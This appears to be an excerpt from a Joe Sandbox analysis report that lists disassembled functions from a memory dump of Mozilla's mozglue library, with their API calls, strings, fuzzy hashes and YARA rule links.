memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAB2019

Strings

MOZ_CRASH(), xrefs: 6CAB2000

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: c3ba840c1b907f671ded6b80ebb562519bd7b801fffa51c337a205000607c722
Instruction ID: 1b9eee7a5a792b31f6189591e3b520fca6885a7491bb3571b6284fd94b9ce945
Opcode Fuzzy Hash: c3ba840c1b907f671ded6b80ebb562519bd7b801fffa51c337a205000607c722
Instruction Fuzzy Hash: 3041C171B04369CBDF109F78C889BAE3AB9EB59308F040126EA19A7785DB719C44CBD1

Function 6CB15FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CB16009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB16024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CABEE51,?), ref: 6CB16046
OutputDebugStringA.KERNEL32(?,6CABEE51,?), ref: 6CB16061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB16069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB16073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB16082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CB3148E), ref: 6CB16091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CABEE51,00000000,?), ref: 6CB160BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB160C4

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: b2703792a9feaf0a5458c67e1f9da077259838afa58b6e102955f53bd4e4a798
Instruction ID: 68fca8995bae0bcf89b1d8e3fb8b652c31227aeb44a5ad32a39703399e1fd0da
Opcode Fuzzy Hash: b2703792a9feaf0a5458c67e1f9da077259838afa58b6e102955f53bd4e4a798
Instruction Fuzzy Hash: D821B571A002189FDF205F28DC49AAE7BBCFF45318F008468E85E97641DB75A959CFD2

Function 6CB00000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CB00039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB00041
GetCurrentThreadId.KERNEL32 ref: 6CB00075
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CB00082
moz_xmalloc.MOZGLUE(00000048), ref: 6CB00090
free.MOZGLUE(?), ref: 6CB00104
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CB0011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6CB0005B

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: b3fb2a76971fc7bc75809b465a0ced7c11b4cba85ac40f4036a23e62219ab9d8
Instruction ID: 2b8418b314d657cfa5c3e8fcd36a77b84b1b5de2e16f13943f349f43b9eda6eb
Opcode Fuzzy Hash: b3fb2a76971fc7bc75809b465a0ced7c11b4cba85ac40f4036a23e62219ab9d8
Instruction Fuzzy Hash: 68418EB5600695DFCB20DF28D940A9ABBF1FF49318F40491DF99A83B51DB31A849CB91

Function 6CAC7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAC7EA7
malloc.MOZGLUE(00000001), ref: 6CAC7EB3

Part of subcall function 6CACCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CACCB49
Part of subcall function 6CACCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CACCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CAC7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CAC7F19
malloc.MOZGLUE(?), ref: 6CAC7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAC7F4D

Strings

d, xrefs: 6CAC7F89

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: a21e757ad6f51e09a4e02fea6166f1257768e4be43b99472ef9057c8a06cef47
Instruction ID: 4e23d5a60174d452d56d0347e3802dc5e4d73af1ae86f8508b65054ab5ac1672
Opcode Fuzzy Hash: a21e757ad6f51e09a4e02fea6166f1257768e4be43b99472ef9057c8a06cef47
Instruction Fuzzy Hash: 52313761E0038897EB019B78DC449FEB778EF96208F049729EC4997612FB34E9C8C391

Function 6CAC3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CAC3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CAC3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CAC4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CAC40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAC3CCC), ref: 6CAC40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAC3CCC), ref: 6CAC40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CAC4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CAC3CCC), ref: 6CAC4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CAC3CCC), ref: 6CAC4157

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: d217d182e5866322f72127785aaeb7614920b5b87296626e6de1a312136b9b8e
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 65A18EB1B41215CFEB40CF28C8807A9B7B5FF48308F294599D909AF742D775E886CBA1

Function 6CAB2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CAD3F47,?,?,?,6CAD3F47,6CAD1A70,?), ref: 6CAB207F
memset.VCRUNTIME140(?,000000E5,6CAD3F47,?,6CAD3F47,6CAD1A70,?), ref: 6CAB20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CAD3F47,6CAD1A70,?), ref: 6CAB211A
EnterCriticalSection.KERNEL32(6CB3E744,?,6CAD3F47,6CAD1A70,?), ref: 6CAB2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CAD3F47,6CAD1A70,?), ref: 6CAB21BA
EnterCriticalSection.KERNEL32(6CB3E744,?,6CAD3F47,6CAD1A70,?), ref: 6CAB21E0
LeaveCriticalSection.KERNEL32(6CB3E744,?,6CAD3F47,6CAD1A70,?), ref: 6CAB2232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CAB2253, 6CAB2268
MOZ_CRASH(), xrefs: 6CAB227D

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 9da7f9e5261d661366ec3f1a31dfa72e6795d59c006b0fa3d06190087c0c8937
Instruction ID: 154129b0cb70c6907b9b8dbe2a7fa660817824f31a5532c6b0352ee965b4e3a1
Opcode Fuzzy Hash: 9da7f9e5261d661366ec3f1a31dfa72e6795d59c006b0fa3d06190087c0c8937
Instruction Fuzzy Hash: 2461E631F002168FDB14CE68C989B6E77B9AF95318F294636E928B7A94D7709C84C781

Function 6CAB48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CAF483A,?), ref: 6CAB4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CAF483A,?), ref: 6CAB4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CAF483A,?), ref: 6CAB4A82

Part of subcall function 6CACCA10: mozalloc_abort.MOZGLUE(?), ref: 6CACCAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CAF483A,?), ref: 6CAB4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CAF483A,?), ref: 6CAB4A35

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CAF483A,?), ref: 6CAB4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CAF483A,?), ref: 6CAB4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CAF483A,?), ref: 6CAB4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CAF483A,?), ref: 6CAB4B2C

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 6dee30da20347d0a0e0d10cf062afd0a51e74f18dc68922db5267fed7b338421
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: F0714AB1A007069FD754DF69C580AAAB7F9FF08308B104A3ED15ADBB41E731E599CB81

Function 6CB09D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB08273), ref: 6CB09D65
free.MOZGLUE(6CB08273,?), ref: 6CB09D7C
free.MOZGLUE(?,?), ref: 6CB09D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB09E0F
free.MOZGLUE(6CB0946B,?,?), ref: 6CB09E24
free.MOZGLUE(?,?,?), ref: 6CB09E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB09EC8
free.MOZGLUE(6CB0946B,?,?,?), ref: 6CB09EDF
free.MOZGLUE(?,?,?,?), ref: 6CB09EF5

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 46385be6960722380e9ee0a415a839e25d4bab6773fa3e3341246d5b38b53ed7
Instruction ID: 4e006e3c886e7d0d403d407ba8a91557b27bdd135d6dfd86cb69032645690a91
Opcode Fuzzy Hash: 46385be6960722380e9ee0a415a839e25d4bab6773fa3e3341246d5b38b53ed7
Instruction Fuzzy Hash: 1471AFB0A09B818BD712CF18C58055BF7F4FF99316B448619E89A5BB01EB30F8C9CB81

Function 6CB0DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CB0DDCF

Part of subcall function 6CAEFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAEFA4B

Part of subcall function 6CB090E0: free.MOZGLUE(?,00000000,?,?,6CB0DEDB), ref: 6CB090FF
Part of subcall function 6CB090E0: free.MOZGLUE(?,00000000,?,?,6CB0DEDB), ref: 6CB09108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB0DE0D
free.MOZGLUE(00000000), ref: 6CB0DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB0DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB0DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB0DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CAFDEFD,?,6CAC4A68), ref: 6CB0DF32

Part of subcall function 6CB0DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB0DB86
Part of subcall function 6CB0DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB0DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CAFDEFD,?,6CAC4A68), ref: 6CB0DF65
free.MOZGLUE(?), ref: 6CB0DF80

Part of subcall function 6CAD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAD5EDB
Part of subcall function 6CAD5E90: memset.VCRUNTIME140(6CB17765,000000E5,55CCCCCC), ref: 6CAD5F27
Part of subcall function 6CAD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAD5FB2

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: d0133a966e1fdf93da978282e5511a8e169daab9be767d3bd09ccf0de7f9b95b
Instruction ID: 074773fa35d1c2848330fb83bce10f8788be46d9d2b758dc2105cef25bbf2c04
Opcode Fuzzy Hash: d0133a966e1fdf93da978282e5511a8e169daab9be767d3bd09ccf0de7f9b95b
Instruction Fuzzy Hash: 2751E8767016919BDB219B38E8806AFB776FF91308F96451CD81A53B80DB31F859CB83

Function 6CB15D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15DC9
std::_Facet_Register.LIBCPMT ref: 6CB15DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15E45

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 884659bfaebd2a8ecc6cd8d57fec3281647ed7ef80a4fba4f7a36aed8cbd283f
Instruction ID: 18c442f7dfb8459e16f430ae0b243f7a558f0cfc8746f4fdb3d5b84f26f90fda
Opcode Fuzzy Hash: 884659bfaebd2a8ecc6cd8d57fec3281647ed7ef80a4fba4f7a36aed8cbd283f
Instruction Fuzzy Hash: 8A418F31B042558FCB10DF65C899EAE77B9FF89318F044069E50A97B91DB34EC09CB65

Function 6CAECC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CAB31A7), ref: 6CAECDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAECFA4, 6CAECFB8
<jemalloc>, xrefs: 6CAECF9F, 6CAECFB3

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 129167b493d1d014188981643524df4af30131c4a7cef01a38db7f97056c088f
Instruction ID: 8212485d2fc386349fc023f455e72092d80a0c4c424d98d3bf4db259b398e828
Opcode Fuzzy Hash: 129167b493d1d014188981643524df4af30131c4a7cef01a38db7f97056c088f
Instruction Fuzzy Hash: 8F31D6317403156BEF10AEA98C45BAE7F75BB4971CF344015F618AB6C0DB71D8809BE0

Function 6CABECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CABF100: LoadLibraryW.KERNEL32(shell32,?,6CB2D020), ref: 6CABF122
Part of subcall function 6CABF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CABF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CABED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CABEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CABEDCC
CreateFileW.KERNEL32 ref: 6CABEE08
free.MOZGLUE(00000000), ref: 6CABEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CABEE32

Part of subcall function 6CABEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CABEBB5
Part of subcall function 6CABEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CAED7F3), ref: 6CABEBC3
Part of subcall function 6CABEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CAED7F3), ref: 6CABEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CABEDC1

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 057772f58199fdf4f9b8a5a12e4ab70d7520771ce4a20497d73528b21aaaae13
Instruction ID: bd6f3776f1423d8b998d8388f3ca8207354e00c75fe4180e6744b4bc92e56167
Opcode Fuzzy Hash: 057772f58199fdf4f9b8a5a12e4ab70d7520771ce4a20497d73528b21aaaae13
Instruction Fuzzy Hash: 39510171D053449BDB00DF68C9406EEB7B8AF49318F08886DE8557B780E774A9C8CBE2

Function 6CB2A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB2A565

Part of subcall function 6CB2A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB2A4BE
Part of subcall function 6CB2A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB2A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB2A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB2A6B6

Strings

0, xrefs: 6CB2A5FB
z, xrefs: 6CB2A6AE

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 8ed64ac78575fa512eb98b616ba8ba108c9454ce4e6f1a6d472078898ab6d814
Instruction ID: 22291dd6e1df24bcbb786a271509978b7558850c417de552aaeccfeaf596edc5
Opcode Fuzzy Hash: 8ed64ac78575fa512eb98b616ba8ba108c9454ce4e6f1a6d472078898ab6d814
Instruction Fuzzy Hash: 9F4106719097859FC341DF28C480A9BBBE5FF89354F408A2EF49987650EB34E589CB93

